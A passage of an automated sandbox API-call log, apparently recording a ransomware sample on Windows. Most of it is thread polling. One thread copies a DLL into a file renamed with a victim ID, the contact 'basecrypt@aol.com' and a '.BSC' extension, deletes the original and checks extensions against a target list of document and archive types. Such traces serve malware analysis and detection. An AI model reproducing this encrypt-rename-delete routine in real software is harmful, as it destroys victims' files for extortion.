WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0113.090] GetTickCount () returned 0x2c1a0 [0113.090] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0113.184] GetTickCount () returned 0x2c20e [0113.184] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0113.294] GetTickCount () returned 0x2c27b [0113.294] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0113.403] GetTickCount () returned 0x2c2e8 [0113.403] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0113.522] GetTickCount () returned 0x2c356 [0113.522] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0113.631] GetTickCount () returned 0x2c3c3 [0113.631] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0113.741] GetTickCount () returned 0x2c430 [0113.741] GetTickCount () returned 0x2c430 [0113.741] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0113.944] GetTickCount () returned 0x2c4fc [0113.944] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0114.226] GetTickCount () returned 0x2c615 [0114.226] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0114.560] GetTickCount () returned 0x2c75d [0114.561] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0114.802] GetTickCount () returned 0x2c847 [0114.802] GetTickCount () returned 0x2c847 [0114.802] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0115.234] GetTickCount () returned 0x2c9fd [0115.234] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0115.572] GetTickCount () returned 0x2cb55 [0115.572] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0115.852] GetTickCount () returned 0x2cc6e [0115.852] GetTickCount () returned 0x2cc6e [0115.852] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0116.014] GetTickCount () returned 0x2cd0a [0116.014] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0116.142] GetTickCount () returned 0x2cd87 [0116.142] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0116.481] GetTickCount () returned 0x2cedf [0116.481] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0116.604] GetTickCount () returned 0x2cf5c [0116.604] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0116.781] GetTickCount () returned 0x2d008 [0116.789] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0116.898] GetTickCount () returned 0x2d085 [0116.898] GetTickCount () returned 0x2d085 [0116.898] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0117.014] GetTickCount () returned 0x2d0f2 [0117.014] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0117.116] GetTickCount () returned 0x2d15f [0117.116] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0117.258] GetTickCount () returned 0x2d1ec [0117.258] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0117.377] GetTickCount () returned 0x2d259 [0117.377] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) Thread: id = 8 os_tid = 0xf70 [0098.269] GetTickCount () returned 0x287c4 [0098.269] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x24) returned 0x61f478 [0098.269] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x61f478, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x278 [0098.269] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x61f478, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x28c [0098.270] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x61f478, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x290 [0098.270] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x61f478, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x294 [0098.270] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x61a928 [0098.270] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x61a928, Size=0x20) returned 0x5fec78 [0098.270] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x61a838 [0098.271] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x61a838, Size=0x20) returned 0x5feb60 [0098.271] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000 [0098.271] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30 [0098.271] Wow64DisableWow64FsRedirection (in: OldValue=0x2d3ff7c | out: OldValue=0x2d3ff7c*=0x0) returned 1 [0098.271] lstrlenW (lpString="kernel32.dll") returned 12 [0098.271] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5fec78 | out: hHeap=0x5c0000) returned 1 [0098.271] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0098.271] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5feb60 | out: hHeap=0x5c0000) returned 1 [0098.271] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091a0, lpParameter=0x62af58, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x298 [0098.272] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0099.376] GetTickCount () returned 0x28c19 [0099.376] GetTickCount () returned 0x28c19 [0099.376] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0099.710] GetTickCount () returned 0x28d61 [0099.711] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0099.862] GetTickCount () returned 0x28dfd [0099.862] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0099.997] GetTickCount () returned 0x28e7a [0099.997] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0100.239] GetTickCount () returned 0x28f74 [0100.239] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0100.461] GetTickCount () returned 0x2904f [0100.461] GetTickCount () returned 0x2904f [0100.461] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0100.802] GetTickCount () returned 0x291a7 [0100.802] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0101.209] GetTickCount () returned 0x2933d [0101.209] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0101.350] GetTickCount () returned 0x293ca [0101.350] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0101.925] GetTickCount () returned 0x2960c [0101.925] GetTickCount () returned 0x2960c [0101.925] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0102.255] GetTickCount () returned 0x29754 [0102.255] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0102.764] GetTickCount () returned 0x29958 [0102.765] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0102.922] GetTickCount () returned 0x299f4 [0102.922] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0103.483] GetTickCount () returned 0x29c26 [0103.483] GetTickCount () returned 0x29c26 [0103.483] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0103.654] GetTickCount () returned 0x29cc3 [0103.654] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0104.057] GetTickCount () returned 0x29e59 [0104.057] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0104.254] GetTickCount () returned 0x29f24 [0104.254] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0104.812] GetTickCount () returned 0x2a157 [0104.812] GetTickCount () returned 0x2a157 [0104.812] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0104.924] GetTickCount () returned 0x2a1c4 [0104.924] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0105.179] GetTickCount () returned 0x2a2be [0105.179] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0105.294] GetTickCount () returned 0x2a32b [0105.295] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0105.409] GetTickCount () returned 0x2a3a8 [0105.409] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0105.524] GetTickCount () returned 0x2a416 [0105.524] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0105.658] GetTickCount () returned 0x2a4a2 [0105.658] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0105.793] GetTickCount () returned 0x2a51f [0105.793] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0105.945] GetTickCount () returned 0x2a5bc [0105.945] GetTickCount () returned 0x2a5bc [0105.945] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0106.124] GetTickCount () returned 0x2a677 [0106.124] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0106.256] GetTickCount () returned 0x2a6f4 [0106.256] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0106.390] GetTickCount () returned 0x2a781 [0106.390] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0106.546] GetTickCount () returned 0x2a81d [0106.546] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0106.689] GetTickCount () returned 0x2a8aa [0106.689] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0106.815] GetTickCount () returned 0x2a927 [0106.815] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0106.977] GetTickCount () returned 0x2a9c3 [0106.977] GetTickCount () returned 0x2a9c3 [0106.977] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0107.116] GetTickCount () returned 0x2aa4f [0107.116] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0107.233] GetTickCount () returned 0x2aabd [0107.233] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0107.330] GetTickCount () returned 0x2ab2a [0107.330] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0107.444] GetTickCount () returned 0x2ab98 [0107.444] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0107.589] GetTickCount () returned 0x2ac24 [0107.589] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0107.726] GetTickCount () returned 0x2acb1 [0107.726] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0107.846] GetTickCount () returned 0x2ad2e [0107.846] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0107.965] GetTickCount () returned 0x2ad9b [0107.965] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0108.131] GetTickCount () returned 0x2ae47 [0108.131] GetTickCount () returned 0x2ae47 [0108.131] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0108.257] GetTickCount () returned 0x2aec4 [0108.258] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0108.363] GetTickCount () returned 0x2af31 [0108.363] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0108.476] GetTickCount () returned 0x2af9f [0108.476] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0108.581] GetTickCount () returned 0x2b00c [0108.581] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0108.860] GetTickCount () returned 0x2b125 [0108.860] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0108.985] GetTickCount () returned 0x2b1a2 [0108.985] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0109.122] GetTickCount () returned 0x2b21f [0109.122] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0109.225] GetTickCount () returned 0x2b28d [0109.225] GetTickCount () returned 0x2b28d [0109.225] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0109.535] GetTickCount () returned 0x2b3c5 [0109.535] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0109.716] GetTickCount () returned 0x2b471 [0109.716] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0109.866] GetTickCount () returned 0x2b50d [0109.866] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0110.078] GetTickCount () returned 0x2b5d9 [0110.078] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0110.519] GetTickCount () returned 0x2b79e [0110.519] GetTickCount () returned 0x2b79e [0110.519] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0110.996] GetTickCount () returned 0x2b972 [0110.996] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0111.157] GetTickCount () returned 0x2ba1e [0111.157] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0111.360] GetTickCount () returned 0x2bae9 [0111.360] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0111.509] GetTickCount () returned 0x2bb76 [0111.509] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0111.685] GetTickCount () returned 0x2bc32 [0111.685] GetTickCount () returned 0x2bc32 [0111.685] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0111.795] GetTickCount () returned 0x2bc9f [0111.795] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0111.899] GetTickCount () returned 0x2bd0c [0111.899] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0112.008] GetTickCount () returned 0x2bd7a [0112.008] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0112.117] GetTickCount () returned 0x2bde7 [0112.117] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0112.227] GetTickCount () returned 0x2be54 [0112.227] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0112.372] GetTickCount () returned 0x2bee1 [0112.372] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0112.477] GetTickCount () returned 0x2bf4e [0112.477] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0112.602] GetTickCount () returned 0x2bfcb [0112.602] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0112.710] GetTickCount () returned 0x2c039 [0112.710] GetTickCount () returned 0x2c039 [0112.710] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0112.820] GetTickCount () returned 0x2c0a6 [0112.820] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0112.952] GetTickCount () returned 0x2c123 [0112.952] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0113.090] GetTickCount () returned 0x2c1a0 [0113.090] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0113.184] GetTickCount () returned 0x2c20e [0113.185] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0113.294] GetTickCount () returned 0x2c27b [0113.294] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0113.403] GetTickCount () returned 0x2c2e8 [0113.403] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0113.522] GetTickCount () returned 0x2c356 [0113.522] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0113.631] GetTickCount () returned 0x2c3c3 [0113.631] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0113.741] GetTickCount () returned 0x2c430 [0113.741] GetTickCount () returned 0x2c430 [0113.741] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0113.944] GetTickCount () returned 0x2c4fc [0113.944] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0114.226] GetTickCount () returned 0x2c615 [0114.226] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0114.561] GetTickCount () returned 0x2c75d [0114.561] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0114.802] GetTickCount () returned 0x2c847 [0114.802] GetTickCount () returned 0x2c847 [0114.802] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0115.234] GetTickCount () returned 0x2c9fd [0115.235] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0115.571] GetTickCount () returned 0x2cb55 [0115.571] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0115.852] GetTickCount () returned 0x2cc6e [0115.852] GetTickCount () returned 0x2cc6e [0115.852] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0116.014] GetTickCount () returned 0x2cd0a [0116.014] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0116.142] GetTickCount () returned 0x2cd87 [0116.142] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0116.481] GetTickCount () returned 0x2cedf [0116.481] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0116.604] GetTickCount () returned 0x2cf5c [0116.604] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0116.789] GetTickCount () returned 0x2d017 [0116.789] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0116.898] GetTickCount () returned 0x2d085 [0116.898] GetTickCount () returned 0x2d085 [0116.898] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0117.013] GetTickCount () returned 0x2d0f2 [0117.013] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0117.116] GetTickCount () returned 0x2d15f [0117.116] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0117.258] GetTickCount () returned 0x2d1ec [0117.258] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0117.377] GetTickCount () returned 0x2d259 [0117.377] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) Thread: id = 11 os_tid = 0x39c [0099.823] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10000) returned 0x64dba0 [0099.824] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10000) returned 0x65dba8 [0099.824] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x61ab08 [0099.824] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x6) returned 0x64d040 [0099.824] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x61abf8 [0099.824] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x100000) returned 0x3904020 [0099.826] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x61ac28 [0099.826] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x61ac28, Size=0x20) returned 0x5fec78 [0099.826] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x61ab20 [0099.826] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x61ab20, Size=0x20) returned 0x5feb88 [0099.826] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000 [0099.826] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30 [0099.826] Wow64DisableWow64FsRedirection (in: OldValue=0x2e3ff50 | out: OldValue=0x2e3ff50*=0x0) returned 1 [0099.827] lstrlenW (lpString="kernel32.dll") returned 12 [0099.827] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5fec78 | out: hHeap=0x5c0000) returned 1 [0099.827] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0099.827] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5feb88 | out: hHeap=0x5c0000) returned 1 [0099.827] Sleep (dwMilliseconds=0x64) [0099.996] Sleep (dwMilliseconds=0x64) [0100.240] Sleep (dwMilliseconds=0x64) [0100.431] Sleep (dwMilliseconds=0x64) [0100.789] lstrcmpiW (lpString1=".dll", lpString2=".BSC") returned 1 [0100.790] lstrlenW (lpString="GetCurrentOOBE.dll") returned 18 [0100.790] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll" (normalized: "c:\\$getcurrent\\safeos\\getcurrentoobe.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0101.326] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x2e3ff14 | out: lpFileSize=0x2e3ff14*=144072) returned 1 [0101.326] CloseHandle (hObject=0x32c) returned 1 [0101.326] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll" (normalized: "c:\\$getcurrent\\safeos\\getcurrentoobe.dll")) returned 0x20 [0101.326] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\$getcurrent\\safeos\\getcurrentoobe.dll.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0101.326] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll" (normalized: "c:\\$getcurrent\\safeos\\getcurrentoobe.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0101.326] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0101.326] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0101.326] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\$getcurrent\\safeos\\getcurrentoobe.dll.id-b4197730.[basecrypt@aol.com].bsc"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0101.462] GetLastError () returned 0x0 [0101.463] ReadFile (in: hFile=0x32c, lpBuffer=0x3904020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3904020*, lpNumberOfBytesRead=0x2e3fecc*=0x232c8, lpOverlapped=0x0) returned 1 [0101.491] WriteFile (in: hFile=0x314, lpBuffer=0x3904020*, nNumberOfBytesToWrite=0x232d0, lpNumberOfBytesWritten=0x2e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3904020*, lpNumberOfBytesWritten=0x2e3fc94*=0x232d0, lpOverlapped=0x0) returned 1 [0101.493] ReadFile (in: hFile=0x32c, lpBuffer=0x3904020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3904020*, lpNumberOfBytesRead=0x2e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0101.493] WriteFile (in: hFile=0x314, lpBuffer=0x3904020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3904020*, lpNumberOfBytesWritten=0x2e3fc94*=0xf8, lpOverlapped=0x0) returned 1 [0101.494] SetEndOfFile (hFile=0x314) returned 1 [0101.494] CloseHandle (hObject=0x314) returned 1 [0101.497] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0101.497] SetEndOfFile (hFile=0x32c) returned 1 [0101.498] CloseHandle (hObject=0x32c) returned 1 [0101.498] SetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll.id-B4197730.[basecrypt@aol.com].BSC", dwFileAttributes=0x20) returned 1 [0101.499] DeleteFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll" (normalized: "c:\\$getcurrent\\safeos\\getcurrentoobe.dll")) returned 1 [0101.499] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40 [0101.499] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40 [0101.499] lstrlenW (lpString=".doc") returned 4 [0101.499] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0101.499] lstrlenW (lpString=".docx") returned 5 [0101.499] lstrcmpiW (lpString1=".docx", lpString2="E.dll") returned -1 [0101.499] lstrlenW (lpString=".pdf") returned 4 [0101.499] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0101.499] lstrlenW (lpString=".xls") returned 4 [0101.499] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0101.499] lstrlenW (lpString=".xlsx") returned 5 [0101.499] lstrcmpiW (lpString1=".xlsx", lpString2="E.dll") returned -1 [0101.499] lstrlenW (lpString=".ppt") returned 4 [0101.499] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0101.499] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40 [0101.499] lstrlenW (lpString=".zip") returned 4 [0101.499] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0101.499] lstrlenW (lpString=".rar") returned 4 [0101.499] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0101.499] lstrlenW (lpString=".bz2") returned 4 [0101.499] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0101.499] lstrlenW (lpString=".7z") returned 3 [0101.499] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0101.500] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40 [0101.500] lstrlenW (lpString=".dbf") returned 4 [0101.500] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0101.500] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40 [0101.500] lstrlenW (lpString=".1cd") returned 4 [0101.500] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0101.500] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40 [0101.500] lstrlenW (lpString=".jpg") returned 4 [0101.500] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0101.500] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40 [0101.500] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40 [0101.500] lstrlenW (lpString=".doc") returned 4 [0101.500] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0101.500] lstrlenW (lpString=".docx") returned 5 [0101.500] lstrcmpiW (lpString1=".docx", lpString2="E.dll") returned -1 [0101.500] lstrlenW (lpString=".pdf") returned 4 [0101.500] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0101.500] lstrlenW (lpString=".xls") returned 4 [0101.500] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0101.500] lstrlenW (lpString=".xlsx") returned 5 [0101.500] lstrcmpiW (lpString1=".xlsx", lpString2="E.dll") returned -1 [0101.500] lstrlenW (lpString=".ppt") returned 4 [0101.500] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0101.500] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40 [0101.500] lstrlenW (lpString=".zip") returned 4 [0101.500] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0101.500] lstrlenW (lpString=".rar") returned 4 [0101.500] 